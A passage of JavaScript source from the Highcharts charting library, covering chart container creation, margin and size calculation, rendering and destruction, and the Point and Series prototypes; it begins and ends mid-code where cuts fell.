chart.cloneRenderTo();
}
// get the width and height
chart.getChartSize();
chartWidth = chart.chartWidth;
chartHeight = chart.chartHeight;
// create the inner container
chart.container = container = createElement(DIV, {
className: PREFIX + 'container' +
(optionsChart.className ? ' ' + optionsChart.className : ''),
id: containerId
}, extend({
position: RELATIVE,
overflow: HIDDEN, // needed for context menu (avoid scrollbars) and
// content overflow in IE
width: chartWidth + PX,
height: chartHeight + PX,
textAlign: 'left',
lineHeight: 'normal', // #427
zIndex: 0, // #1072
'-webkit-tap-highlight-color': 'rgba(0,0,0,0)'
}, optionsChart.style),
chart.renderToClone || renderTo
);
// cache the cursor (#1650)
chart._cursor = container.style.cursor;
// Initialize the renderer
chart.renderer =
optionsChart.forExport ? // force SVG, used for SVG export
new SVGRenderer(container, chartWidth, chartHeight, optionsChart.style, true) :
new Renderer(container, chartWidth, chartHeight, optionsChart.style);
if (useCanVG) {
// If we need canvg library, extend and configure the renderer
// to get the tracker for translating mouse events
chart.renderer.create(chart, container, chartWidth, chartHeight);
}
},
/**
* Calculate margins by rendering axis labels in a preliminary position. Title,
* subtitle and legend have already been rendered at this stage, but will be
* moved into their final positions
*/
getMargins: function () {
var chart = this,
spacing = chart.spacing,
axisOffset,
legend = chart.legend,
margin = chart.margin,
legendOptions = chart.options.legend,
legendMargin = pick(legendOptions.margin, 10),
legendX = legendOptions.x,
legendY = legendOptions.y,
align = legendOptions.align,
verticalAlign = legendOptions.verticalAlign,
titleOffset = chart.titleOffset;
chart.resetMargins();
axisOffset = chart.axisOffset;
// Adjust for title and subtitle
if (titleOffset && !defined(margin[0])) {
chart.plotTop = mathMax(chart.plotTop, titleOffset + chart.options.title.margin + spacing[0]);
}
// Adjust for legend
if (legend.display && !legendOptions.floating) {
if (align === 'right') { // horizontal alignment handled first
if (!defined(margin[1])) {
chart.marginRight = mathMax(
chart.marginRight,
legend.legendWidth - legendX + legendMargin + spacing[1]
);
}
} else if (align === 'left') {
if (!defined(margin[3])) {
chart.plotLeft = mathMax(
chart.plotLeft,
legend.legendWidth + legendX + legendMargin + spacing[3]
);
}
} else if (verticalAlign === 'top') {
if (!defined(margin[0])) {
chart.plotTop = mathMax(
chart.plotTop,
legend.legendHeight + legendY + legendMargin + spacing[0]
);
}
} else if (verticalAlign === 'bottom') {
if (!defined(margin[2])) {
chart.marginBottom = mathMax(
chart.marginBottom,
legend.legendHeight - legendY + legendMargin + spacing[2]
);
}
}
}
// adjust for scroller
if (chart.extraBottomMargin) {
chart.marginBottom += chart.extraBottomMargin;
}
if (chart.extraTopMargin) {
chart.plotTop += chart.extraTopMargin;
}
// pre-render axes to get labels offset width
if (chart.hasCartesianSeries) {
each(chart.axes, function (axis) {
axis.getOffset();
});
}
if (!defined(margin[3])) {
chart.plotLeft += axisOffset[3];
}
if (!defined(margin[0])) {
chart.plotTop += axisOffset[0];
}
if (!defined(margin[2])) {
chart.marginBottom += axisOffset[2];
}
if (!defined(margin[1])) {
chart.marginRight += axisOffset[1];
}
chart.setChartSize();
},
/**
* Resize the chart to its container if size is not explicitly set
*/
reflow: function (e) {
var chart = this,
optionsChart = chart.options.chart,
renderTo = chart.renderTo,
width = optionsChart.width || adapterRun(renderTo, 'width'),
height = optionsChart.height || adapterRun(renderTo, 'height'),
target = e ? e.target : win, // #805 - MooTools doesn't supply e
doReflow = function () {
if (chart.container) { // It may have been destroyed in the meantime (#1257)
chart.setSize(width, height, false);
chart.hasUserSize = null;
}
};
// Width and height checks for display:none. Target is doc in IE8 and Opera,
// win in Firefox, Chrome and IE9.
if (!chart.hasUserSize && width && height && (target === win || target === doc)) {
if (width !== chart.containerWidth || height !== chart.containerHeight) {
clearTimeout(chart.reflowTimeout);
if (e) { // Called from window.resize
chart.reflowTimeout = setTimeout(doReflow, 100);
} else { // Called directly (#2224)
doReflow();
}
}
chart.containerWidth = width;
chart.containerHeight = height;
}
},
/**
* Add the event handlers necessary for auto resizing
*/
initReflow: function () {
var chart = this,
reflow = function (e) {
chart.reflow(e);
};
addEvent(win, 'resize', reflow);
addEvent(chart, 'destroy', function () {
removeEvent(win, 'resize', reflow);
});
},
/**
* Resize the chart to a given width and height
* @param {Number} width
* @param {Number} height
* @param {Object|Boolean} animation
*/
setSize: function (width, height, animation) {
var chart = this,
chartWidth,
chartHeight,
fireEndResize;
// Handle the isResizing counter
chart.isResizing += 1;
fireEndResize = function () {
if (chart) {
fireEvent(chart, 'endResize', null, function () {
chart.isResizing -= 1;
});
}
};
// set the animation for the current process
setAnimation(animation, chart);
chart.oldChartHeight = chart.chartHeight;
chart.oldChartWidth = chart.chartWidth;
if (defined(width)) {
chart.chartWidth = chartWidth = mathMax(0, mathRound(width));
chart.hasUserSize = !!chartWidth;
}
if (defined(height)) {
chart.chartHeight = chartHeight = mathMax(0, mathRound(height));
}
// Resize the container with the global animation applied if enabled (#2503)
(globalAnimation ? animate : css)(chart.container, {
width: chartWidth + PX,
height: chartHeight + PX
}, globalAnimation);
chart.setChartSize(true);
chart.renderer.setSize(chartWidth, chartHeight, animation);
// handle axes
chart.maxTicks = null;
each(chart.axes, function (axis) {
axis.isDirty = true;
axis.setScale();
});
// make sure non-cartesian series are also handled
each(chart.series, function (serie) {
serie.isDirty = true;
});
chart.isDirtyLegend = true; // force legend redraw
chart.isDirtyBox = true; // force redraw of plot and chart border
chart.getMargins();
chart.redraw(animation);
chart.oldChartHeight = null;
fireEvent(chart, 'resize');
// fire endResize and set isResizing back
// If animation is disabled, fire without delay
if (globalAnimation === false) {
fireEndResize();
} else { // else set a timeout with the animation duration
setTimeout(fireEndResize, (globalAnimation && globalAnimation.duration) || 500);
}
},
/**
* Set the public chart properties. This is done before and after the pre-render
* to determine margin sizes
*/
setChartSize: function (skipAxes) {
var chart = this,
inverted = chart.inverted,
renderer = chart.renderer,
chartWidth = chart.chartWidth,
chartHeight = chart.chartHeight,
optionsChart = chart.options.chart,
spacing = chart.spacing,
clipOffset = chart.clipOffset,
clipX,
clipY,
plotLeft,
plotTop,
plotWidth,
plotHeight,
plotBorderWidth;
chart.plotLeft = plotLeft = mathRound(chart.plotLeft);
chart.plotTop = plotTop = mathRound(chart.plotTop);
chart.plotWidth = plotWidth = mathMax(0, mathRound(chartWidth - plotLeft - chart.marginRight));
chart.plotHeight = plotHeight = mathMax(0, mathRound(chartHeight - plotTop - chart.marginBottom));
chart.plotSizeX = inverted ? plotHeight : plotWidth;
chart.plotSizeY = inverted ? plotWidth : plotHeight;
chart.plotBorderWidth = optionsChart.plotBorderWidth || 0;
// Set boxes used for alignment
chart.spacingBox = renderer.spacingBox = {
x: spacing[3],
y: spacing[0],
width: chartWidth - spacing[3] - spacing[1],
height: chartHeight - spacing[0] - spacing[2]
};
chart.plotBox = renderer.plotBox = {
x: plotLeft,
y: plotTop,
width: plotWidth,
height: plotHeight
};
plotBorderWidth = 2 * mathFloor(chart.plotBorderWidth / 2);
clipX = mathCeil(mathMax(plotBorderWidth, clipOffset[3]) / 2);
clipY = mathCeil(mathMax(plotBorderWidth, clipOffset[0]) / 2);
chart.clipBox = {
x: clipX,
y: clipY,
width: mathFloor(chart.plotSizeX - mathMax(plotBorderWidth, clipOffset[1]) / 2 - clipX),
height: mathFloor(chart.plotSizeY - mathMax(plotBorderWidth, clipOffset[2]) / 2 - clipY)
};
if (!skipAxes) {
each(chart.axes, function (axis) {
axis.setAxisSize();
axis.setAxisTranslation();
});
}
},
/**
* Initial margins before auto size margins are applied
*/
resetMargins: function () {
var chart = this,
spacing = chart.spacing,
margin = chart.margin;
chart.plotTop = pick(margin[0], spacing[0]);
chart.marginRight = pick(margin[1], spacing[1]);
chart.marginBottom = pick(margin[2], spacing[2]);
chart.plotLeft = pick(margin[3], spacing[3]);
chart.axisOffset = [0, 0, 0, 0]; // top, right, bottom, left
chart.clipOffset = [0, 0, 0, 0];
},
/**
* Draw the borders and backgrounds for chart and plot area
*/
drawChartBox: function () {
var chart = this,
optionsChart = chart.options.chart,
renderer = chart.renderer,
chartWidth = chart.chartWidth,
chartHeight = chart.chartHeight,
chartBackground = chart.chartBackground,
plotBackground = chart.plotBackground,
plotBorder = chart.plotBorder,
plotBGImage = chart.plotBGImage,
chartBorderWidth = optionsChart.borderWidth || 0,
chartBackgroundColor = optionsChart.backgroundColor,
plotBackgroundColor = optionsChart.plotBackgroundColor,
plotBackgroundImage = optionsChart.plotBackgroundImage,
plotBorderWidth = optionsChart.plotBorderWidth || 0,
mgn,
bgAttr,
plotLeft = chart.plotLeft,
plotTop = chart.plotTop,
plotWidth = chart.plotWidth,
plotHeight = chart.plotHeight,
plotBox = chart.plotBox,
clipRect = chart.clipRect,
clipBox = chart.clipBox;
// Chart area
mgn = chartBorderWidth + (optionsChart.shadow ? 8 : 0);
if (chartBorderWidth || chartBackgroundColor) {
if (!chartBackground) {
bgAttr = {
fill: chartBackgroundColor || NONE
};
if (chartBorderWidth) { // #980
bgAttr.stroke = optionsChart.borderColor;
bgAttr['stroke-width'] = chartBorderWidth;
}
chart.chartBackground = renderer.rect(mgn / 2, mgn / 2, chartWidth - mgn, chartHeight - mgn,
optionsChart.borderRadius, chartBorderWidth)
.attr(bgAttr)
.addClass(PREFIX + 'background')
.add()
.shadow(optionsChart.shadow);
} else { // resize
chartBackground.animate(
chartBackground.crisp({ width: chartWidth - mgn, height: chartHeight - mgn })
);
}
}
// Plot background
if (plotBackgroundColor) {
if (!plotBackground) {
chart.plotBackground = renderer.rect(plotLeft, plotTop, plotWidth, plotHeight, 0)
.attr({
fill: plotBackgroundColor
})
.add()
.shadow(optionsChart.plotShadow);
} else {
plotBackground.animate(plotBox);
}
}
if (plotBackgroundImage) {
if (!plotBGImage) {
chart.plotBGImage = renderer.image(plotBackgroundImage, plotLeft, plotTop, plotWidth, plotHeight)
.add();
} else {
plotBGImage.animate(plotBox);
}
}
// Plot clip
if (!clipRect) {
chart.clipRect = renderer.clipRect(clipBox);
} else {
clipRect.animate({
width: clipBox.width,
height: clipBox.height
});
}
// Plot area border
if (plotBorderWidth) {
if (!plotBorder) {
chart.plotBorder = renderer.rect(plotLeft, plotTop, plotWidth, plotHeight, 0, -plotBorderWidth)
.attr({
stroke: optionsChart.plotBorderColor,
'stroke-width': plotBorderWidth,
fill: NONE,
zIndex: 1
})
.add();
} else {
plotBorder.animate(
plotBorder.crisp({ x: plotLeft, y: plotTop, width: plotWidth, height: plotHeight })
);
}
}
// reset
chart.isDirtyBox = false;
},
/**
* Detect whether a certain chart property is needed based on inspecting its options
* and series. This mainly applies to the chart.invert property, and in extensions to
* the chart.angular and chart.polar properties.
*/
propFromSeries: function () {
var chart = this,
optionsChart = chart.options.chart,
klass,
seriesOptions = chart.options.series,
i,
value;
each(['inverted', 'angular', 'polar'], function (key) {
// The default series type's class
klass = seriesTypes[optionsChart.type || optionsChart.defaultSeriesType];
// Get the value from available chart-wide properties
value = (
chart[key] || // 1. it is set before
optionsChart[key] || // 2. it is set in the options
(klass && klass.prototype[key]) // 3. it's default series class requires it
);
// 4. Check if any the chart's series require it
i = seriesOptions && seriesOptions.length;
while (!value && i--) {
klass = seriesTypes[seriesOptions[i].type];
if (klass && klass.prototype[key]) {
value = true;
}
}
// Set the chart property
chart[key] = value;
});
},
/**
* Link two or more series together. This is done initially from Chart.render,
* and after Chart.addSeries and Series.remove.
*/
linkSeries: function () {
var chart = this,
chartSeries = chart.series;
// Reset links
each(chartSeries, function (series) {
series.linkedSeries.length = 0;
});
// Apply new links
each(chartSeries, function (series) {
var linkedTo = series.options.linkedTo;
if (isString(linkedTo)) {
if (linkedTo === ':previous') {
linkedTo = chart.series[series.index - 1];
} else {
linkedTo = chart.get(linkedTo);
}
if (linkedTo) {
linkedTo.linkedSeries.push(series);
series.linkedParent = linkedTo;
}
}
});
},
/**
* Render series for the chart
*/
renderSeries: function () {
each(this.series, function (serie) {
serie.translate();
if (serie.setTooltipPoints) {
serie.setTooltipPoints();
}
serie.render();
});
},
/**
* Render all graphics for the chart
*/
render: function () {
var chart = this,
axes = chart.axes,
renderer = chart.renderer,
options = chart.options;
var labels = options.labels,
credits = options.credits,
creditsHref;
// Title
chart.setTitle();
// Legend
chart.legend = new Legend(chart, options.legend);
chart.getStacks(); // render stacks
// Get margins by pre-rendering axes
// set axes scales
each(axes, function (axis) {
axis.setScale();
});
chart.getMargins();
chart.maxTicks = null; // reset for second pass
each(axes, function (axis) {
axis.setTickPositions(true); // update to reflect the new margins
axis.setMaxTicks();
});
chart.adjustTickAmounts();
chart.getMargins(); // second pass to check for new labels
// Draw the borders and backgrounds
chart.drawChartBox();
// Axes
if (chart.hasCartesianSeries) {
each(axes, function (axis) {
axis.render();
});
}
// The series
if (!chart.seriesGroup) {
chart.seriesGroup = renderer.g('series-group')
.attr({ zIndex: 3 })
.add();
}
chart.renderSeries();
// Labels
if (labels.items) {
each(labels.items, function (label) {
var style = extend(labels.style, label.style),
x = pInt(style.left) + chart.plotLeft,
y = pInt(style.top) + chart.plotTop + 12;
// delete to prevent rewriting in IE
delete style.left;
delete style.top;
renderer.text(
label.html,
x,
y
)
.attr({ zIndex: 2 })
.css(style)
.add();
});
}
// Credits
if (credits.enabled && !chart.credits) {
creditsHref = credits.href;
chart.credits = renderer.text(
credits.text,
0,
0
)
.on('click', function () {
if (creditsHref) {
location.href = creditsHref;
}
})
.attr({
align: credits.position.align,
zIndex: 8
})
.css(credits.style)
.add()
.align(credits.position);
}
// Set flag
chart.hasRendered = true;
},
/**
* Clean up memory usage
*/
destroy: function () {
var chart = this,
axes = chart.axes,
series = chart.series,
container = chart.container,
i,
parentNode = container && container.parentNode;
// fire the chart.destoy event
fireEvent(chart, 'destroy');
// Delete the chart from charts lookup array
charts[chart.index] = UNDEFINED;
chart.renderTo.removeAttribute('data-highcharts-chart');
// remove events
removeEvent(chart);
// ==== Destroy collections:
// Destroy axes
i = axes.length;
while (i--) {
axes[i] = axes[i].destroy();
}
// Destroy each series
i = series.length;
while (i--) {
series[i] = series[i].destroy();
}
// ==== Destroy chart properties:
each(['title', 'subtitle', 'chartBackground', 'plotBackground', 'plotBGImage',
'plotBorder', 'seriesGroup', 'clipRect', 'credits', 'pointer', 'scroller',
'rangeSelector', 'legend', 'resetZoomButton', 'tooltip', 'renderer'], function (name) {
var prop = chart[name];
if (prop && prop.destroy) {
chart[name] = prop.destroy();
}
});
// remove container and all SVG
if (container) { // can break in IE when destroyed before finished loading
container.innerHTML = '';
removeEvent(container);
if (parentNode) {
discardElement(container);
}
}
// clean it all up
for (i in chart) {
delete chart[i];
}
},
/**
* VML namespaces can't be added until after complete. Listening
* for Perini's doScroll hack is not enough.
*/
isReadyToRender: function () {
var chart = this;
// Note: in spite of JSLint's complaints, win == win.top is required
/*jslint eqeq: true*/
if ((!hasSVG && (win == win.top && doc.readyState !== 'complete')) || (useCanVG && !win.canvg)) {
/*jslint eqeq: false*/
if (useCanVG) {
// Delay rendering until canvg library is downloaded and ready
CanVGController.push(function () { chart.firstRender(); }, chart.options.global.canvasToolsURL);
} else {
doc.attachEvent('onreadystatechange', function () {
doc.detachEvent('onreadystatechange', chart.firstRender);
if (doc.readyState === 'complete') {
chart.firstRender();
}
});
}
return false;
}
return true;
},
/**
* Prepare for first rendering after all data are loaded
*/
firstRender: function () {
var chart = this,
options = chart.options,
callback = chart.callback;
// Check whether the chart is ready to render
if (!chart.isReadyToRender()) {
return;
}
// Create the container
chart.getContainer();
// Run an early event after the container and renderer are established
fireEvent(chart, 'init');
chart.resetMargins();
chart.setChartSize();
// Set the common chart properties (mainly invert) from the given series
chart.propFromSeries();
// get axes
chart.getAxes();
// Initialize the series
each(options.series || [], function (serieOptions) {
chart.initSeries(serieOptions);
});
chart.linkSeries();
// Run an event after axes and series are initialized, but before render. At this stage,
// the series data is indexed and cached in the xData and yData arrays, so we can access
// those before rendering. Used in Highstock.
fireEvent(chart, 'beforeRender');
// depends on inverted and on margins being set
if (Highcharts.Pointer) {
chart.pointer = new Pointer(chart, options);
}
chart.render();
// add canvas
chart.renderer.draw();
// run callbacks
if (callback) {
callback.apply(chart, [chart]);
}
each(chart.callbacks, function (fn) {
fn.apply(chart, [chart]);
});
// If the chart was rendered outside the top container, put it back in
chart.cloneRenderTo(true);
fireEvent(chart, 'load');
},
/**
* Creates arrays for spacing and margin from given options.
*/
splashArray: function (target, options) {
var oVar = options[target],
tArray = isObject(oVar) ? oVar : [oVar, oVar, oVar, oVar];
return [pick(options[target + 'Top'], tArray[0]),
pick(options[target + 'Right'], tArray[1]),
pick(options[target + 'Bottom'], tArray[2]),
pick(options[target + 'Left'], tArray[3])];
}
}; // end Chart
// Hook for exporting module
Chart.prototype.callbacks = [];
var CenteredSeriesMixin = Highcharts.CenteredSeriesMixin = {
/**
* Get the center of the pie based on the size and center options relative to the
* plot area. Borrowed by the polar and gauge series types.
*/
getCenter: function () {
var options = this.options,
chart = this.chart,
slicingRoom = 2 * (options.slicedOffset || 0),
handleSlicingRoom,
plotWidth = chart.plotWidth - 2 * slicingRoom,
plotHeight = chart.plotHeight - 2 * slicingRoom,
centerOption = options.center,
positions = [pick(centerOption[0], '50%'), pick(centerOption[1], '50%'), options.size || '100%', options.innerSize || 0],
smallestSize = mathMin(plotWidth, plotHeight),
isPercent;
return map(positions, function (length, i) {
isPercent = /%$/.test(length);
handleSlicingRoom = i < 2 || (i === 2 && isPercent);
return (isPercent ?
// i == 0: centerX, relative to width
// i == 1: centerY, relative to height
// i == 2: size, relative to smallestSize
// i == 4: innerSize, relative to smallestSize
[plotWidth, plotHeight, smallestSize, smallestSize][i] *
pInt(length) / 100 :
length) + (handleSlicingRoom ? slicingRoom : 0);
});
}
};
/**
* The Point object and prototype. Inheritable and used as base for PiePoint
*/
var Point = function () {};
Point.prototype = {
/**
* Initialize the point
* @param {Object} series The series object containing this point
* @param {Object} options The data in either number, array or object format
*/
init: function (series, options, x) {
var point = this,
colors;
point.series = series;
point.applyOptions(options, x);
point.pointAttr = {};
if (series.options.colorByPoint) {
colors = series.options.colors || series.chart.options.colors;
point.color = point.color || colors[series.colorCounter++];
// loop back to zero
if (series.colorCounter === colors.length) {
series.colorCounter = 0;
}
}
series.chart.pointCount++;
return point;
},
/**
* Apply the options containing the x and y data and possible some extra properties.
* This is called on point init or from point.update.
*
* @param {Object} options
*/
applyOptions: function (options, x) {
var point = this,
series = point.series,
pointValKey = series.pointValKey;
options = Point.prototype.optionsToObject.call(this, options);
// copy options directly to point
extend(point, options);
point.options = point.options ? extend(point.options, options) : options;
// For higher dimension series types. For instance, for ranges, point.y is mapped to point.low.
if (pointValKey) {
point.y = point[pointValKey];
}
// If no x is set by now, get auto incremented value. All points must have an
// x value, however the y value can be null to create a gap in the series
if (point.x === UNDEFINED && series) {
point.x = x === UNDEFINED ? series.autoIncrement() : x;
}
return point;
},
/**
* Transform number or array configs into objects
*/
optionsToObject: function (options) {
var ret = {},
series = this.series,
pointArrayMap = series.pointArrayMap || ['y'],
valueCount = pointArrayMap.length,
firstItemType,
i = 0,
j = 0;
if (typeof options === 'number' || options === null) {
ret[pointArrayMap[0]] = options;
} else if (isArray(options)) {
// with leading x value
if (options.length > valueCount) {
firstItemType = typeof options[0];
if (firstItemType === 'string') {
ret.name = options[0];
} else if (firstItemType === 'number') {
ret.x = options[0];
}
i++;
}
while (j < valueCount) {
ret[pointArrayMap[j++]] = options[i++];
}
} else if (typeof options === 'object') {
ret = options;
// This is the fastest way to detect if there are individual point dataLabels that need
// to be considered in drawDataLabels. These can only occur in object configs.
if (options.dataLabels) {
series._hasPointLabels = true;
}
// Same approach as above for markers
if (options.marker) {
series._hasPointMarkers = true;
}
}
return ret;
},
/**
* Destroy a point to clear memory. Its reference still stays in series.data.
*/
destroy: function () {
var point = this,
series = point.series,
chart = series.chart,
hoverPoints = chart.hoverPoints,
prop;
chart.pointCount--;
if (hoverPoints) {
point.setState();
erase(hoverPoints, point);
if (!hoverPoints.length) {
chart.hoverPoints = null;
}
}
if (point === chart.hoverPoint) {
point.onMouseOut();
}
// remove all events
if (point.graphic || point.dataLabel) { // removeEvent and destroyElements are performance expensive
removeEvent(point);
point.destroyElements();
}
if (point.legendItem) { // pies have legend items
chart.legend.destroyItem(point);
}
for (prop in point) {
point[prop] = null;
}
},
/**
* Destroy SVG elements associated with the point
*/
destroyElements: function () {
var point = this,
props = ['graphic', 'dataLabel', 'dataLabelUpper', 'group', 'connector', 'shadowGroup'],
prop,
i = 6;
while (i--) {
prop = props[i];
if (point[prop]) {
point[prop] = point[prop].destroy();
}
}
},
/**
* Return the configuration hash needed for the data label and tooltip formatters
*/
getLabelConfig: function () {
var point = this;
return {
x: point.category,
y: point.y,
key: point.name || point.category,
series: point.series,
point: point,
percentage: point.percentage,
total: point.total || point.stackTotal
};
},
/**
* Extendable method for formatting each point's tooltip line
*
* @return {String} A string to be concatenated in to the common tooltip text
*/
tooltipFormatter: function (pointFormat) {
// Insert options for valueDecimals, valuePrefix, and valueSuffix
var series = this.series,
seriesTooltipOptions = series.tooltipOptions,
valueDecimals = pick(seriesTooltipOptions.valueDecimals, ''),
valuePrefix = seriesTooltipOptions.valuePrefix || '',
valueSuffix = seriesTooltipOptions.valueSuffix || '';
// Loop over the point array map and replace unformatted values with sprintf formatting markup
each(series.pointArrayMap || ['y'], function (key) {
key = '{point.' + key; // without the closing bracket
if (valuePrefix || valueSuffix) {
pointFormat = pointFormat.replace(key + '}', valuePrefix + key + '}' + valueSuffix);
}
pointFormat = pointFormat.replace(key + '}', key + ':,.' + valueDecimals + 'f}');
});
return format(pointFormat, {
point: this,
series: this.series
});
}
};/**
* @classDescription The base function which all other series types inherit from. The data in the series is stored
* in various arrays.
*
* - First, series.options.data contains all the original config options for
* each point whether added by options or methods like series.addPoint.
* - Next, series.data contains those values converted to points, but in case the series data length
* exceeds the cropThreshold, or if the data is grouped, series.data doesn't contain all the points. It
* only contains the points that have been created on demand.
* - Then there's series.points that contains all currently visible point objects. In case of cropping,
* the cropped-away points are not part of this array. The series.points array starts at series.cropStart
* compared to series.data and series.options.data. If however the series data is grouped, these can't
* be correlated one to one.
* - series.xData and series.processedXData contain clean x values, equivalent to series.data and series.points.
* - series.yData and series.processedYData contain clean x values, equivalent to series.data and series.points.
*
* @param {Object} chart
* @param {Object} options
*/
var Series = function () {};
Series.prototype = {
isCartesian: true,
type: 'line',
pointClass: Point,
sorted: true, // requires the data to be sorted
requireSorting: true,
pointAttrToOptions: { // mapping between SVG attributes and the corresponding options
stroke: 'lineColor',
'stroke-width': 'lineWidth',
fill: 'fillColor',
r: 'radius'
},
axisTypes: ['xAxis', 'yAxis'],
colorCounter: 0,
parallelArrays: ['x', 'y'], // each point's x and y values are stored in this.xData and this.yData
init: function (chart, options) {
var series = this,
eventType,
events,
chartSeries = chart.series,
sortByIndex = function (a, b) {
return pick(a.options.index, a._i) - pick(b.options.index, b._i);
};
series.chart = chart;
series.options = options = series.setOptions(options); // merge with plotOptions
series.linkedSeries = [];
// bind the axes
series.bindAxes();
// set some variables
extend(series, {
name: options.name,
state: NORMAL_STATE,
pointAttr: {},
visible: options.visible !== false, // true by default
selected: options.selected === true // false by default
});
// special
if (useCanVG) {
options.animation = false;
}
// register event listeners
events = options.events;
for (eventType in events) {
addEvent(series, eventType, events[eventType]);
}
if (
(events && events.click) ||
(options.point && options.point.events && options.point.events.click) ||
options.allowPointSelect
) {
chart.runTrackerClick = true;
}
series.getColor();
series.getSymbol();
// Set the data
each(series.parallelArrays, function (key) {
series[key + 'Data'] = [];
});
series.setData(options.data, false);
// Mark cartesian
if (series.isCartesian) {
chart.hasCartesianSeries = true;
}
// Register it in the chart
chartSeries.push(series);
series._i = chartSeries.length - 1;
// Sort series according to index option (#248, #1123, #2456)
stableSort(chartSeries, sortByIndex);
if (this.yAxis) {
stableSort(this.yAxis.series, sortByIndex);
}
each(chartSeries, function (series, i) {
series.index = i;
series.name = series.name || 'Series ' + (i + 1);
});
},
/**
* Set the xAxis and yAxis properties of cartesian series, and register the series
* in the axis.series array
*/
bindAxes: function () {
var series = this,
seriesOptions = series.options,
chart = series.chart,
axisOptions;
each(series.axisTypes || [], function (AXIS) { // repeat for xAxis and yAxis
each(chart[AXIS], function (axis) { // loop through the chart's axis objects
axisOptions = axis.options;
// apply if the series xAxis or yAxis option mathches the number of the
// axis, or if undefined, use the first axis
if ((seriesOptions[AXIS] === axisOptions.index) ||
(seriesOptions[AXIS] !== UNDEFINED && seriesOptions[AXIS] === axisOptions.id) ||
(seriesOptions[AXIS] === UNDEFINED && axisOptions.index === 0)) {
// register this series in the axis.series lookup
axis.series.push(series);
// set this series.xAxis or series.yAxis reference
series[AXIS] = axis;
// mark dirty for redraw
axis.isDirty = true;
}
});
// The series needs an X and an Y axis
if (!series[AXIS] && series.optionalAxis !== AXIS) {
error(18, true);
}
});
},
/**
* For simple series types like line and column, the data values are held in arrays like
* xData and yData for quick lookup to find extremes and more. For multidimensional series
* like bubble and map, this can be extended with arrays like zData and valueData by
* adding to the series.parallelArrays array.
*/
updateParallelArrays: function (point, i) {
var series = point.series,
args = arguments,
fn = typeof i === 'number' ?
// Insert the value in the given position
function (key) {
var val = key === 'y' && series.toYData ? series.toYData(point) : point[key];
series[key + 'Data'][i] = val;
} :
// Apply the method specified in i with the following arguments as arguments
function (key) {
Array.prototype[i].apply(series[key + 'Data'], Array.prototype.slice.call(args, 2));
};
each(series.parallelArrays, fn);
},
/**
* Return an auto incremented x value based on the pointStart and pointInterval options.
* This is only used if an x value is not given for the point that calls autoIncrement.
*/
autoIncrement: function () {
var series = this,
options = series.options,
xIncrement = series.xIncrement;
xIncrement = pick(xIncrement, options.pointStart, 0);
series.pointInterval = pick(series.pointInterval, options.pointInterval, 1);
series.xIncrement = xIncrement + series.pointInterval;
return xIncrement;
},
/**
* Divide the series data into segments divided by null values.
*/
getSegments: function () {
var series = this,
lastNull = -1,
segments = [],
i,
points = series.points,
pointsLength = points.length;
if (pointsLength) { // no action required for []
// if connect nulls, just remove null points
if (series.options.connectNulls) {
i = pointsLength;
while (i--) {
if (points[i].y === null) {
points.splice(i, 1);
}
}
if (points.length) {
segments = [points];
}
// else, split on null points
} else {
each(points, function (point, i) {
if (point.y === null) {
if (i > lastNull + 1) {
segments.push(points.slice(lastNull + 1, i));
}
lastNull = i;
} else if (i === pointsLength - 1) { // last value
segments.push(points.slice(lastNull + 1, i + 1));
}
});
}
}
// register it
series.segments = segments;
},
/**
* Set the series options by merging from the options tree
* @param {Object} itemOptions
*/
setOptions: function (itemOptions) {
var chart = this.chart,
chartOptions = chart.options,
plotOptions = chartOptions.plotOptions,
userOptions = chart.userOptions || {},
userPlotOptions = userOptions.plotOptions || {},
typeOptions = plotOptions[this.type],
options;
this.userOptions = itemOptions;
options = merge(
typeOptions,
plotOptions.series,
itemOptions
);
// The tooltip options are merged between global and series specific options
this.tooltipOptions = merge(
defaultOptions.tooltip,
defaultOptions.plotOptions[this.type].tooltip,
userOptions.tooltip,
userPlotOptions.series && userPlotOptions.series.tooltip,
userPlotOptions[this.type] && userPlotOptions[this.type].tooltip,
itemOptions.tooltip
);
// Delete marker object if not allowed (#1125)
if (typeOptions.marker === null) {
delete options.marker;
}
return options;
},
/**
* Get the series' color
*/
getColor: function () {
var options = this.options,
userOptions = this.userOptions,
defaultColors = this.chart.options.colors,
counters = this.chart.counters,
color,
colorIndex;
color = options.color || defaultPlotOptions[this.type].color;
if (!color && !options.colorByPoint) {
if (defined(userOptions._colorIndex)) { // after Series.update()
colorIndex = userOptions._colorIndex;
} else {
userOptions._colorIndex = counters.color;
colorIndex = counters.color++;
}
color = defaultColors[colorIndex];
}
this.color = color;
counters.wrapColor(defaultColors.length);
},
/**
* Get the series' symbol
*/
getSymbol: function () {
var series = this,
userOptions = series.userOptions,
seriesMarkerOption = series.options.marker,
chart = series.chart,
defaultSymbols = chart.options.symbols,
counters = chart.counters,
symbolIndex;
series.symbol = seriesMarkerOption.symbol;
if (!series.symbol) {
if (defined(userOptions._symbolIndex)) { // after Series.update()
symbolIndex = userOptions._symbolIndex;
} else {
userOptions._symbolIndex = counters.symbol;
symbolIndex = counters.symbol++;
}
series.symbol = defaultSymbols[symbolIndex];
}
// don't substract radius in image symbols (#604)
if (/^url/.test(series.symbol)) {
seriesMarkerOption.radius = 0;
}
counters.wrapSymbol(defaultSymbols.length);
},
drawLegendSymbol: LegendSymbolMixin.drawLineMarker,
/**
* Replace the series data with a new set of data
* @param {Object} data
* @param {Object} redraw
*/
setData: function (data, redraw, animation, updatePoints) {
var series = this,
oldData = series.points,
oldDataLength = (oldData && oldData.length) || 0,
dataLength,
options = series.options,
chart = series.chart,
firstPoint = null,
xAxis = series.xAxis,
hasCategories = xAxis && !!xAxis.categories,
tooltipPoints = series.tooltipPoints,
i,
turboThreshold = options.turboThreshold,
pt,
xData = this.xData,
yData = this.yData,
pointArrayMap = series.pointArrayMap,
valueCount = pointArrayMap && pointArrayMap.length;
data = data || [];
dataLength = data.length;
redraw = pick(redraw, true);
// If the point count is the same as is was, just run Point.update which is
// cheaper, allows animation, and keeps references to points.
if (updatePoints !== false && dataLength && oldDataLength === dataLength && !series.cropped && !series.hasGroupedData) {
each(data, function (point, i) {
oldData[i].update(point, false);
});
} else {
// Reset properties
series.xIncrement = null;
series.pointRange = hasCategories ? 1 : options.pointRange;
series.colorCounter = 0; // for series with colorByPoint (#1547)
// Update parallel arrays
each(this.parallelArrays, function (key) {
series[key + 'Data'].length = 0;
});
// In turbo mode, only one- or twodimensional arrays of numbers are allowed. The
// first value is tested, and we assume that all the rest are defined the same
// way. Although the 'for' loops are similar, they are repeated inside each
// if-else conditional for max performance.
if (turboThreshold && dataLength > turboThreshold) {
// find the first non-null point
i = 0;
while (firstPoint === null && i < dataLength) {
